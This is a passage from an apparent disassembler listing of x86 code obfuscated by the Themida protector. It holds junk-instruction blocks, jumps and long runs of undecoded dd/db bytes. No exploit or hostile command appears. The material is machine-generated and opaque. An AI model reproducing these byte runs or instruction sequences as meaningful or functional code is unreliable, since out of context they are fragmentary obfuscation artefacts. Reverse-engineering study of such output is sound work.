		dd 815AD031h, 0D73800EAh, 0E237E976h, 0EC81FFFFh, 4, 0E9242C89h
		dd 4438h
; ---------------------------------------------------------------------------

loc_55FC90:				; CODE XREF: Themida_:0055784Cj
		mov	esi, eax
		jmp	loc_55741B
; ---------------------------------------------------------------------------
		db 81h
		dd 874B39CDh, 6E5C139h,	0E952DDF7h, 0FFFFA3C0h
; ---------------------------------------------------------------------------

loc_55FCA8:				; CODE XREF: Themida_:005603E1j
		add	dword ptr [esp], 50D3503Dh
		pop	dword ptr [edi+24h]
		sub	dword ptr [edi+24h], 50D3503Dh
		pop	ecx
		jmp	loc_564CE3
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0FEC1FEC9h, 0B9C180C9h, 0FF5A3DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FCCD:				; CODE XREF: Themida_:0056787Cj
		sub	[esp+8], ecx
		pop	ecx
		add	[esp+4], edi
		add	dword ptr [esp+4], 654E0F49h
		jmp	loc_56375C
; ---------------------------------------------------------------------------

loc_55FCE3:				; CODE XREF: Themida_:005589A1j
		add	esi, 4
		jmp	loc_561107
; ---------------------------------------------------------------------------

loc_55FCEE:				; CODE XREF: Themida_:0055B483j
		add	esp, 4
		add	[esp+8], ebp
		pop	ebp
		add	[esp+4], ebp
		push	699h
		mov	[esp], esi
		jmp	loc_55977D
; ---------------------------------------------------------------------------

loc_55FD0A:				; CODE XREF: Themida_:0055F4B2j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		push	83019A7h
		mov	ebx, [esp]
		push	esi
		jmp	loc_5599BB
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 5Fh
		dd 61C28059h, 87E95166h, 83FFFF73h, 0ACE904E8h,	0C1FFFFDFh
		dd 0EC8105E5h, 4, 0BA241489h, 540717F0h, 814ADAF7h, 1EAh
		dd 7E2C100h, 3964E94Ah,	6853FFFFh, 415F78F3h, 0CAC3815Bh
		dd 8127273Ah, 0F54B97E3h, 85EB8152h, 8925B5F9h,	8F685BDDh
		dd 8900001Bh, 65E9240Ch, 81FFFF6Ch, 4C6h, 4EE8300h, 5C243487h
		dd 0FF9FC1E9h, 24248BFFh, 9C242CD2h, 0FF2A55E9h, 96C781FFh
		dd 5B0B3E52h, 619AC181h, 0E981771Dh, 73D92BD2h,	28E9F901h
		dd 57FFFF6Eh, 2BFh, 4EC8300h, 0BB241C89h, 66F74ACEh, 0B2E9D3F7h
		dd 28FFFF44h, 2434FFD1h, 4C4835Ah, 51A9B753h, 0EF2087B5h
		dd 66C7FE59h, 0CF7AE950h, 0E955FFFFh, 0FFFF4FABh, 0E9243489h
		dd 0FFFF84D7h, 5BE9524Bh, 0BDFFFF5Ch, 24C95280h, 62BCE581h
		dd 0E581448Ah, 162E7175h, 7C75E9h, 2434FF00h, 8324048Bh
		dd 0EC8104C4h, 4, 52241C89h, 0C281E289h, 4, 0FFA575E9h
		dd 6990BFFFh, 0F8010696h, 0E9525B5Fh, 0FFFFA745h, 5C24048Fh
		dd 0E9028864h, 0FFFF29A2h, 335AD101h, 0C31240Ch, 240C3324h
		dd 0E924248Bh, 0FFFF298Eh, 4893D987h, 0FFE36AE9h, 46856FFh
		dd 5E07AE0Dh, 0C4F68146h, 896E2824h, 0F7E95EF5h, 0C1FFFFB6h
		dd 0BE5605E7h, 0FE7BFA04h, 15EF701h, 0D70EE9FBh, 0C481FFFFh
		dd 4, 0E9545655h, 6EDDh, 56240489h, 908E2BEh, 0B1F68122h
		dd 8144E87Ah, 0C9695BF6h, 46C9E95Eh, 1E680000h,	58164A0Bh
		dd 95DDF795h, 7C09C805h, 0ABC7E944h, 0EB80FFFFh, 0C0B60F25h
		dd 0E987048Dh, 0FFFFF830h, 4BEh, 24740100h, 9E95E04h, 89000035h
		dd 0B951242Ch, 17DE788Dh, 0E95EA6BDh, 0E9CD315Eh, 0FFFFBD70h
		dd 931F56B9h, 0AEC18113h, 1EC6CE0h, 0BDE959C8h,	8100002Ah
		dd 4C4h, 3786E900h, 0CBE90000h,	0FFFFFF28h, 8B042474h
		dd 0C481241Ch, 4, 8B24048Fh, 89662424h,	0FDE92414h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FF4F:				; CODE XREF: Themida_:00565189j
		sub	al, dl
		push	ebx
		mov	bl, 5Ch
		not	bl
		not	bl
		xor	bl, 0C9h
		dec	bl
		sub	bl, 0A0h
		add	al, bl
		jmp	loc_561ED0
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9542434h, 0FFFF915Ah
; ---------------------------------------------------------------------------

loc_55FF70:				; CODE XREF: Themida_:0056085Dj
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 0C8B66C3h, 0D2685324h, 8900002Eh, 4832424h, 575B0424h
		dd 1764E951h, 0C2810000h, 0EDD26E5Ch, 555AD189h, 811F7368h
		dd 242C8B3Dh, 0E904C483h, 5D86h, 505753BAh, 9FCA8171h
		dd 422B6F34h, 4846F281h, 0D7096847h, 0F3CF815Ah, 47760030h
		dd 6A4868h, 24348900h, 0BF7FF4BEh, 5EF72977h, 0AE9FB01h
		dd 87000049h, 0DFE9240Ch, 68000073h, 7DDCh, 0BA241489h
		dd 25ED1E3Bh, 0E281D2F7h, 24F43C08h, 760EEA81h,	0E2C14EB8h
		dd 5212E903h, 68570000h, 4, 54D0E95Fh, 483FFFFh, 575B0424h
		dd 5EBB5352h, 896F9662h, 0DAF75BDAh, 13C6E9h, 21296800h
		dd 2C890000h, 0E2895224h, 4C281h, 0A3E90000h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56003F:				; CODE XREF: Themida_:005605F2j
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_558BF1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95B2434h, 0FFFF6158h, 3835E95Ch, 0C2800000h, 66EA807Dh
		dd 46E9EA00h, 0FFFFFFD6h, 81E92434h, 0FF000010h, 815B2434h
		dd 4C4h, 0D336E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560082:				; CODE XREF: Themida_:0056137Aj
		mov	ah, bh
		pop	ebx
		jmp	loc_559807
; ---------------------------------------------------------------------------

loc_56008A:				; CODE XREF: Themida_:00556EC4j
		add	edi, edx
		add	edi, 39A7774Eh
		jmp	loc_5622F9
; ---------------------------------------------------------------------------
		db 31h
		dd 25A3E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56009E:				; CODE XREF: Themida_:0055E0DFj
		or	eax, eax
		jz	loc_562309
		push	dword ptr [edi+28h]
		push	48DBh
		mov	[esp], esi
		jmp	loc_5657BA
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C3h, 241C3300h, 33241C31h, 248B241Ch, 24148B24h, 1FFEE9h
		db 0
; ---------------------------------------------------------------------------

loc_5600D1:				; CODE XREF: Themida_:0055D3FEj
		add	eax, ebp
		pop	ebp
		jmp	loc_565EEA
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0FFD8315Ch, 1C8B2434h, 0E9545224h, 0FFFFA306h, 66A3E95Eh
		dd 2BBBFFFFh, 514CAA69h, 7D1F4FB9h, 8BCB210Bh, 0C481240Ch
		dd 4, 62B5EB81h, 0FEE96259h, 5FFFFF59h,	32CEC281h, 0EA816C3Dh
		dd 0E1800166h, 2E74C781h, 0D7013E27h, 2E74EF81h, 875A3E27h
		dd 685C243Ch, 7C7Eh, 2E5CE9h, 24048900h, 468E089h, 8900001Ah
		dd 0CDBA2414h, 0C137667Fh, 0F28108EAh, 37667Bh,	515AD001h
		dd 5968A5B9h, 6BC9814Dh, 4174D242h, 4AC6E181h, 0E1C1569Eh
		dd 0CA1BE902h, 0D1F7FFFFh, 45A0F181h, 0C181285Dh, 2FAFAB80h
		dd 0BB59CE89h, 1FCC7138h, 4EC8350h, 0E9241C89h,	0FFFFCB43h
		dd 5A5AC781h, 0CF016B24h, 5A5AEF81h, 81596B24h,	961B74C7h
		dd 0FB8953BCh, 14E9DA89h
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5601B7:				; CODE XREF: Themida_:0055A501j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_567247
; ---------------------------------------------------------------------------

loc_5601C7:				; CODE XREF: Themida_:0055C793j
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	5F39h
		mov	[esp], edx
		jmp	loc_56515E
; ---------------------------------------------------------------------------
		db 53h
		dd 66E9E389h, 8BFFFF7Ch, 89562404h, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 0E9F2815Ch,	0E95B9B01h, 0FFFFE7FBh
; ---------------------------------------------------------------------------

loc_560208:				; CODE XREF: Themida_:0055E4E3j
		mov	edi, 75C00A89h
		add	[esp+8], edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 54615E3Dh
		not	eax
		shr	eax, 8
		add	eax, 29581101h
		xor	eax, 2A03AFA6h
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 659A439Ah
		sub	[esp+8], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5614D5
; ---------------------------------------------------------------------------

loc_560256:				; CODE XREF: Themida_:00562675j
		sub	eax, esi
		pop	esi
		push	edx
		mov	edx, 88B6B619h
		sub	eax, edx
		pop	edx
		and	ebp, eax
		pop	eax
		jmp	loc_55C4A9
; ---------------------------------------------------------------------------
		dw 814Ah
		dd 2A3C7EEAh, 3E2C16Ah,	0FF5E3AE9h, 4C181FFh, 83000000h
		dd 0C8704C1h, 0D6E95C24h, 0BBFFFFD0h, 6F6348F7h, 0E2EB8143h
		dd 513D307Eh, 441C2CB9h, 75F18134h, 0D145EF4Ah,	0DF55E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5602AA:				; CODE XREF: Themida_:0055EAF5j
		mov	edx, 24F60B5Ah
		neg	edx
		xor	edx, 35B246DFh
		inc	edx
		neg	edx
		push	eax
		mov	eax, 47EB3873h
		add	eax, 7F941FB3h
		jmp	loc_55EE14
; ---------------------------------------------------------------------------
		dw 0F2BDh
		dd 813B0165h, 0D67410C5h, 5DE90169h, 0FF54B9E9h, 1D9EB8FFh
		dd 0E8830CCEh, 6E0C1FFh, 8767C435h, 0E9C30133h,	0FFFF8659h
		dd 0CA8853B1h, 0D3005966h, 0ACE9515Ah, 66FFFF97h, 66241C89h
		dd 22474FFh, 0FF5C1AE9h, 3D1168FFh, 2C890000h, 0A06E924h
		dd 0F0BF0000h, 4F43E721h, 0B850E7D1h, 7D1D2088h, 8158C709h
		dd 0BC07D6F7h, 0C1CF814Fh, 8171B82Ah, 8A6A93F7h, 0B283E9CEh
		dd 3C8BFFFFh, 4C48324h,	4C781h,	0BA520000h, 4146469Ah
		dd 0C106E2C1h, 0C28105EAh, 7646170Bh, 0FF8EF6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560369:				; CODE XREF: Themida_:00562DCEj
		pop	esp
		jmp	loc_56204A
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC83242Ch, 243C8904h, 1F6B68h, 24048900h, 2F54A5B8h
		dd 0E9C7895Eh, 0FFFFB8EBh, 784CC681h, 0C6813E54h, 76956E3Ch
		dd 0EE81FE01h, 76956E3Ch, 784CEE81h, 565F3E54h,	42474FFh
		dd 8124348Bh, 4C4h, 24048F00h, 0E924248Bh, 5CD9h
; ---------------------------------------------------------------------------

loc_5603C0:				; CODE XREF: Themida_:0055ED6Aj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_560F04
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 241CD359h, 2420E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5603DE:				; CODE XREF: Themida_:00554F08j
		mov	ecx, esi
		push	ecx
		jmp	loc_55FCA8
; ---------------------------------------------------------------------------

loc_5603E6:				; CODE XREF: Themida_:005658BEj
		not	edi
		add	edi, 45F96066h
		mov	eax, edi
		jmp	loc_55ED85
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 5
		dd 506C181h, 0C18150D0h, 9BB39FBEh, 159CA89h, 0E6E95AD6h
		dd 5DFFFFF6h, 74ACEF81h, 0F729220Dh, 74ACC781h,	0C781220Dh
		dd 2F254545h, 0D3E9C35Eh, 89FFFF23h, 0E2E958C1h, 1FFFFECh
		dd 74C381CBh, 0E9153431h, 0FFFF6C78h, 4C181h, 55E90000h
		dd 0B8FFFF8Ah, 7B396F02h, 696DE950h, 1B68FFFFh,	89000047h
		dd 0E9542434h, 0FFFF9C9Dh, 8124048Bh, 4C4h, 0C35FE900h
		dd 3487FFFFh, 4DE95C24h, 66000010h, 50CCB60Fh, 4AE9E089h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560487:				; CODE XREF: Themida_:005552C0j
		push	edx
		push	ecx
		mov	ch, bh
		mov	dh, ch
		pop	ecx
		mov	cl, dh
		pop	edx
		mov	dl, cl
		jmp	loc_56417A
; ---------------------------------------------------------------------------
		dd 89E9E589h, 0C1FFFF4Ah, 0C58104EDh, 96B63C2h,	4EC81h
		dd 34890000h, 0AE5BE24h, 0B95101C0h, 222746FAh,	3048C181h
		dd 87E901B8h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5604C7:				; CODE XREF: Themida_:00566E35j
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5623BA
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FF533DE9h, 0E9E801FFh, 24B7h, 58BE565Ah, 8121FA36h
		dd 0FF342BEEh, 3D3EE928h, 0C89FFFFh, 47466824h,	24890000h
		dd 24048124h, 4, 0FFE94FE9h, 4EC81FFh, 89000000h, 0E389241Ch
		dd 4C381h, 0C3830000h, 241C3304h, 33241C31h, 2D5C241Ch
		dd 11B7102Ah, 2854E9h, 0E3E94A00h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560537:				; CODE XREF: Themida_:0055A24Fj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_557748
; ---------------------------------------------------------------------------
		dd 0E093E951h, 0D301FFFFh, 49C3815Ah, 165A633h,	2434FFD8h
		dd 83241C8Bh, 895204C4h, 4C281E2h, 0E9000000h, 0FFFFB04Ch
		dd 0F4805EB4h, 0D5F4804Eh, 0EE68CCFEh, 8900001Ah, 0A8E9241Ch
		dd 68000027h, 51C0h, 0BD242C89h, 3B8B6FB7h, 34FFEF09h
		dd 0C4835D24h, 5E47E904h, 0C14F0000h, 685004EFh, 2BCA1D02h
		dd 0E9C73158h, 6A32h, 81DE015Bh, 4D4A37EEh, 49E95B41h
		dd 5BFFFF3Fh, 2D59C801h, 0FAB783Ch, 3503E8C1h, 50EB3C9Ch
		dd 0F9E9C301h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5605D3:				; CODE XREF: Themida_:0055BCA1j
		xor	ax, si
		jmp	loc_563B32
; ---------------------------------------------------------------------------

loc_5605DB:				; CODE XREF: Themida_:00553872j
		xchg	eax, [edi+24h]
		jmp	loc_55F1EB
; ---------------------------------------------------------------------------

loc_5605E3:				; CODE XREF: Themida_:005634C3j
		pop	ebp
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56003F
; ---------------------------------------------------------------------------

loc_5605F7:				; CODE XREF: Themida_:0055D42Dj
		mov	[esp], esi
		dec	dword ptr [esp]
		jmp	loc_55BBB3
; ---------------------------------------------------------------------------
		dw 2705h
		dd 0E9478D71h, 0FFFF9279h, 34B05053h, 0FF2244E9h, 241CF7FFh
		dd 4E3C15Bh, 0BFA8E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560622:				; CODE XREF: Themida_:005608A2j
		xor	[esp], edx
		jmp	loc_55BCBD
; ---------------------------------------------------------------------------
		dw 31ADh
		dd 4EC81D8h, 0E9000000h, 0FFFFC816h, 3805972Dh,	2434FF0Dh
		dd 3580E9h, 2454F600h, 0B1AFE901h, 4B9FFFFh, 1000000h
		dd 6A1EE9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56065A:				; CODE XREF: Themida_:0055E42Aj
		push	4D5Dh
		mov	[esp], ebx
		jmp	loc_558719
; ---------------------------------------------------------------------------
		db 0B4h
		dd 66C4FE88h, 0E984B151h, 0FFFF5BE3h, 2B7A4568h, 0F1815972h
		dd 20D065EFh, 6ED6EE81h, 3BE948E6h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56068B:				; CODE XREF: Themida_:0056485Ej
		mov	edx, [esp]
		add	esp, 4
		sub	bl, al
		push	eax
		push	ebx
		jmp	loc_55BBD9
; ---------------------------------------------------------------------------

loc_56069A:				; CODE XREF: Themida_:00555BD3j
		add	edx, ebp
		pop	ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56435E
; ---------------------------------------------------------------------------

loc_5606A8:				; CODE XREF: Themida_:00563B11j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	69C2h
		jmp	loc_55B748
; ---------------------------------------------------------------------------
		db 0BEh, 0ACh, 32h
		dd 0EEC1668Ch, 43EE8104h, 318FFB9Fh, 6DFBE9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5606D2:				; CODE XREF: Themida_:0055D039j
		pop	edx
		add	eax, 0DB74D59h
		jmp	loc_566BBB
; ---------------------------------------------------------------------------

loc_5606DD:				; CODE XREF: Themida_:00554722j
		add	edx, eax
		push	ebx
		mov	ebx, 33F46649h
		jmp	loc_5557A7
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFF7809h, 5C241C33h, 0FF15EA81h, 0CEE9A509h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5606FF:				; CODE XREF: Themida_:0055CB2Cj
		xor	esi, 533F24AEh
		sub	eax, 12E503E1h
		add	eax, esi
		add	eax, 12E503E1h
		pop	esi
		xor	eax, 6C6D1849h
		jmp	loc_55E2D8
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3830000h, 241C8704h, 4EC815Ch, 89000000h
		dd 4BF243Ch, 0E9000000h, 0FFFF682Dh
; ---------------------------------------------------------------------------

loc_56073C:				; CODE XREF: Themida_:005573F8j
		xchg	edx, edi
		not	edx
		xor	edi, edx
		jmp	loc_5667F7
; ---------------------------------------------------------------------------
		db 5Ah
		dd 28EDC580h, 292C59EBh, 0FFEB9CE9h, 73E95BFFh,	81FFFF9Ah
		dd 0BE6E5FCAh, 50F28107h, 81228B5Fh, 0EB5AD2E2h, 0CF2811Ah
		dd 51565C1Ah, 5B6494B9h, 0E9D1F706h, 3697h, 8B2434FFh
		dd 0C483241Ch, 59F16804h, 14890000h, 0B2F6E924h, 0EBC1FFFFh
		dd 0B5C38102h, 9334DE5h, 0D5F75BDDh, 0FF86E5E9h, 4567B9FFh
		dd 0D9F720DAh, 83E9E981h, 0CB217EE2h, 9109E959h, 5066FFFFh
		dd 88A3B652h, 0F2E95AF4h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5607CB:				; CODE XREF: Themida_:00565572j
		dec	byte ptr [esp]
		pushf
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
		dd 4C681h, 0C6830000h, 24348704h, 18D3E9h, 4C48300h, 0E8EEA81h
		dd 0CAE91F9Dh, 5B000030h, 0F94C181h, 0B8507923h, 249C350Dh
		dd 8158C101h, 554385E1h, 4EC817Eh, 0E9000000h, 3921h
; ---------------------------------------------------------------------------

loc_560814:				; CODE XREF: Themida_:0055EB23j
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		pop	dx
		add	al, 92h
		jmp	loc_557DB3
; ---------------------------------------------------------------------------
		dd 0E95EF101h, 0FFFF6949h, 0B6241489h, 5EEC035h, 0EE80DEF6h
		dd 50D6F6A5h, 0DCF6B0B4h, 8008ECC0h, 0E630E9F4h, 6AF0E9h
		db 0
; ---------------------------------------------------------------------------

loc_560851:				; CODE XREF: Themida_:005581A1j
		pop	ebp
		mov	edx, [esp]
		jmp	loc_556E34
; ---------------------------------------------------------------------------

loc_56085A:				; CODE XREF: Themida_:00563912j
		movzx	eax, al
		jmp	loc_55FF70
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 54532414h, 81241C8Bh, 4C4h, 7051E900h, 83590000h, 148704C4h
		dd 24248B24h, 0FF5501E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560885:				; CODE XREF: Themida_:00567371j
		and	edi, ebx
		jmp	loc_567502
; ---------------------------------------------------------------------------

loc_56088C:				; CODE XREF: Themida_:0055775Cj
		push	ebp
		jmp	loc_561953
; ---------------------------------------------------------------------------

loc_560892:				; CODE XREF: Themida_:00555FF3j
		mov	edi, 25A516ABh
		sub	edi, 1
		not	edi
		push	edi
		xchg	edx, [esp]
		not	edx
		jmp	loc_560622
; ---------------------------------------------------------------------------
		db 28h
		dd 241C8BFEh, 4C481h, 6AE90000h, 87000041h, 0E95C240Ch
		dd 0FFFFC550h, 6821F680h, 3A0h,	0E9241C89h, 0FFFF24A1h
		dd 0E959EA88h, 0FFFFEB2Ah, 2B60F66h, 685B5453h,	6130h
		dd 1CF6E9h
		db 0
; ---------------------------------------------------------------------------

loc_5608E9:				; CODE XREF: Themida_:00563AB3j
		mov	esi, 49270FEEh
		mov	eax, 0B6D8F016h
		add	eax, esi
		pop	esi
		sub	esi, eax
		pop	eax
		jmp	loc_55CDE1
; ---------------------------------------------------------------------------
		dw 0C501h
		dd 6E1DE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560906:				; CODE XREF: Themida_:0056132Dj
		pop	ecx
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_55AE4A
; ---------------------------------------------------------------------------
		db 68h,	10h, 27h
		dd 1C890000h, 88D78824h, 61E95BF9h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560927:				; CODE XREF: Themida_:00564761j
		mov	[esp], edi
		xchg	ecx, [esp]
		push	ecx
		jmp	loc_55ED0D
; ---------------------------------------------------------------------------

loc_560933:				; CODE XREF: Themida_:0055471Aj
		not	dword ptr [esp]
		jmp	loc_5646B3
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFDED5E9h, 81D2F7FFh, 0B3D66CF2h, 46C7E999h, 0AB25FFFFh
		dd 0C166E606h, 650508E0h, 2D0EBA56h, 4E657F38h,	12Dh, 81283500h
		dd 0C201C659h, 0FF33EBE9h, 4BD3F7FFh, 8A1E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56097A:				; CODE XREF: Themida_:00560F8Bj
		mov	[esp], edx
		jmp	loc_55C034
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 5E067FF5h, 0DB951h, 0CB0120D0h, 5BD90159h, 370AE9h
		dd 4BE5600h, 0E9000000h, 0FFFFC416h, 75BF5755h,	8163EE02h
		dd 0DF5B01EFh, 5EFC149h, 0CFFDE947h, 0BE56FFFFh, 1559094Ah
		dd 0FF596DE9h, 58C389FFh, 22E4E9h, 2434FF00h, 5B2434FFh
		dd 57595451h, 3555A5BFh, 5DF78146h, 0E90A977Bh,	0FFFF2F67h
		dd 81240C8Bh, 4C4h, 68575100h, 65047A43h, 0B3F7815Fh, 0C16AD532h
		dd 0BE5607E7h, 6793785Fh, 8106E6C1h, 6558EDE6h,	0F6814620h
		dd 100DC4E0h, 895EF701h, 62E95FF9h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560A23:				; CODE XREF: Themida_:00560E07j
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_559F69
; ---------------------------------------------------------------------------

loc_560A36:				; CODE XREF: Themida_:0055BDD6j
		push	6329h
		mov	[esp], edi
		xchg	edx, [esp]
		jmp	loc_555DFA
; ---------------------------------------------------------------------------
		dw 895Bh
		dd 242C8BEBh, 0FFB850E9h, 0E9F001FFh, 5F58h, 0FAE9EE29h
		dd 5BFFFF7Ah, 67EC581h,	84682576h, 8900006Fh, 0B9512404h
		dd 4A8329F5h, 241720B8h, 4522E908h, 1C8B0000h, 4C48324h
		dd 31240C33h, 0C33240Ch, 5EE95C24h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560A93:				; CODE XREF: Themida_:005629BDj
		mov	esi, ebx
		pop	ebx
		jmp	loc_566824
; ---------------------------------------------------------------------------
		db 81h
		dd 0FD1E22C5h, 5DEE013Ch, 0FFC525E9h, 24048FFFh, 0E924248Bh
		dd 0FFFFD0D8h
; ---------------------------------------------------------------------------

loc_560AB4:				; CODE XREF: Themida_:00552A29j
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 2
		neg	ecx
		push	edi
		mov	edi, 0
		sub	edi, ecx
		mov	ecx, edi
		pop	edi
		sub	ecx, 15E182AFh
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55DD4A
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 80DBF6B7h, 0F38038E3h, 0D8EB80BEh, 77EE80h, 77C680DEh
		dd 5B2434FFh, 4C483h, 0CB285AF1h, 83240C8Bh, 0B15104C4h
		dd 0EFC9802Ah, 6B4BE9h
		db 0
; ---------------------------------------------------------------------------

loc_560B19:				; CODE XREF: Themida_:0055E407j
		add	ebp, eax
		pop	eax
		jmp	loc_567A53
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D359669Dh, 0E99C2414h, 0FFFF1CCEh, 4C581h, 0C5830000h
		dd 242C8704h, 0FF1E36E9h, 4C781FFh, 81000000h, 4C7h, 243C8700h
		dd 0A3B4E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560B56:				; CODE XREF: Themida_:00564C3Fj
		add	edx, eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	6EA0h
		mov	[esp], esi
		jmp	loc_558713
; ---------------------------------------------------------------------------

loc_560B70:				; CODE XREF: Themida_:00554614j
		mov	[esp], ebp
		mov	ebp, 2A8C2AE1h
		push	ebp
		xchg	edi, [esp]
		not	edi
		jmp	loc_55D488
; ---------------------------------------------------------------------------
aIIZs		db 'ˆÂˆ×Zé²-',0
		dd 0EC835B00h, 0D95EE904h, 0BA05FFFFh, 5B56A427h, 0E9C33159h
		dd 0FFFF9BCEh, 0C781E789h, 4, 4C781h, 3C870000h, 85E95C24h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560BBB:				; CODE XREF: Themida_:0055B760j
		sub	[esp+4], edx
		push	ecx
		jmp	loc_555D3B
; ---------------------------------------------------------------------------

loc_560BC5:				; CODE XREF: Themida_:0055E4EFj
		pop	ebx
		jmp	loc_55D6FA
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFB4E1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560BD1:				; CODE XREF: Themida_:00559111j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55E331
; ---------------------------------------------------------------------------

loc_560BDC:				; CODE XREF: Themida_:00556B16j
		pop	edi
		pop	ecx
		push	edx
		mov	edx, 0ABB6274h
		shl	edx, 1
		sub	edx, 0CC738305h
		sub	ecx, edx
		pop	edx
		push	edx
		jmp	loc_557915
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF89FBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560BFD:				; CODE XREF: Themida_:00554789j
		push	3EFh
		jmp	loc_557BE7
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0B8142DDh, 0BC390E05h, 0E7EB8110h, 2904B010h, 395D68C3h
		dd 0D0E90000h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560C23:				; CODE XREF: Themida_:005564FCj
		add	ebx, 88D4D19h
		sub	ebx, esi
		sub	ebx, 88D4D19h
		pop	esi
		jmp	loc_554C49
; ---------------------------------------------------------------------------

loc_560C37:				; CODE XREF: Themida_:00565683j
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_561F3B
; ---------------------------------------------------------------------------

loc_560C45:				; CODE XREF: Themida_:00563D55j
		mov	ecx, esp
		push	3476h
		mov	[esp], edi
		push	ecx
		mov	ecx, 280B7BE2h
		push	eax
		mov	eax, 68363406h
		jmp	loc_555266
; ---------------------------------------------------------------------------

loc_560C60:				; CODE XREF: Themida_:0055DF1Ej
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_55971F
; ---------------------------------------------------------------------------

loc_560C6D:				; CODE XREF: Themida_:0055D1FEj
		sub	edi, 34715F03h
		add	edi, 74F534BAh
		push	ebx
		mov	ebx, 514B4CC9h
		shr	ebx, 8
		dec	ebx
		sub	ebx, 0D40ED68Dh
		sub	edi, 6D0C2B9Ch
		add	edi, ebx
		add	edi, 6D0C2B9Ch
		pop	ebx
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_56357D
; ---------------------------------------------------------------------------
		dd 1143EB81h, 20E90886h, 0BD000068h, 42CF13B2h,	815DEA21h
		dd 0F9FD04C2h, 17BD55BFh, 1127E33h, 0D0015DE8h,	7E33172Dh
